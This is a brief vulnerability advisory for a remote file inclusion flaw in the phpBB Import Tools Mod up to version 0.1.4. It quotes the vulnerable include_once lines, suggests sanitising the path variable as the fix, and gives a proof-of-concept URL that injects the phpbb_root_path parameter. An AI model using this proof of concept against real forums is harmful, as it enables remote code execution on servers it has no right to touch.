phpBB Import Tools Mod <= 0.1.4 - Remote File Include Vulnerability

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# * Title: phpBB Import Tools Mod <= 0.1.4 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Import Tools Mod <= 0.1.4
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# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
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[ Vulnerable Code: ]
include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[ Fix: ]
Correctly sanitize these variables before their use or deny direct access to the script.

[ Proof of Concept: ]
http://localhost/phpBB2/includes/functions_mod_user.php?phpbb_root_path=

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